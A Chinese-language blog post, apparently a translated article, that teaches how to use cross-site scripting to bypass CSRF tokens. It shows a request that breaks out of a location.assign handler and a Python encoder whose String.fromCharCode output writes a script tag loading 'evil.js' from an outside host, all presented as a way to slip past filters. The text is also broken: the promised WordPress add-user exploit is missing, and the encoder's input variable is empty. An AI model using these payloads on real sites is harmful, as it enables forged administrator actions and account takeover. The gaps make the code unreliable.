利用XSS繞過CSRF防禦
在驗證目標網站應用的xss漏洞時,我一般不會選擇彈框的方式。
我覺得最好的payloads是利用需要認證的功能,比如當管理員登錄時就新建一個用戶。
其他有用的payloads取決於應用本身,比如在購物應用中購買一個商品或者在拍賣應用中競價。
這些攻擊其實是一種有效的CSRF攻擊。
現在很多應用都增加了CSRF token來防止CSRF攻擊。
如果應用存在xss攻擊,那麼這種防護通常可以被繞過。
以下就是利用xss漏洞來繞過CSRF防禦在WordPress中添加用戶的例子。需要管理員執行才能生效。
//Use this to exploit XSS to compromise the application.
// just use the XSS payload of
我曾經遇到一個應用,防禦做的非常好,幾乎過濾了所有的xss payload,但我還是成功的通過一個參數將payload插入到一個事件處理器中。
這個處理器使用location.assign來重定向用戶,而且用戶提供的參數值是通過URL傳遞的。要突破location.assign的限制,我們需要一個單引號和一個管道來執行額外的js函數。
請求如下:
GET /function?parameter=value"|alert(1)|"&Print=Yes
結果如下:
1
在HTML環境中,這會執行alert payload。
為了繞過xss過濾器和不適用任何單引號和雙引號,我選擇使用document.write和字元編碼的方式來寫入script標籤。
幾行python代碼就可以編寫一個合適的payload:
>> payload = ""
>>> inject = "document.write(String.fromCharCode("+",".join([str(ord(n)) for n in payload])+"))"
>>> inject
"document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))"
如果上述代碼中」inject」的值轉成了alert(1),那我們的payload就會幹以下事情:
1.把charcode數據轉換成字元串()
2.執行時把script標籤寫入到web頁面中
3.script標籤會加在外部js腳本並執行
4.外部js腳本會繞過成功繞過CSRF防護
通過使用String.fromCharCode函數,任何payload都可以寫入到web頁面中,不用擔心黑名單對特殊字元的限制。保證你的惡意js腳本能通過https傳輸也很重要。如果你發現一個使用https協議的網站存在xss漏洞,你的payload要能夠通過https來避免被屏蔽掉。
![](https://pic.pimg.tw/zzuyanan/1488615166-1259157397.png)
![](https://pic.pimg.tw/zzuyanan/1482887990-2595557020.jpg)
TAG:嘶吼RoarTalk |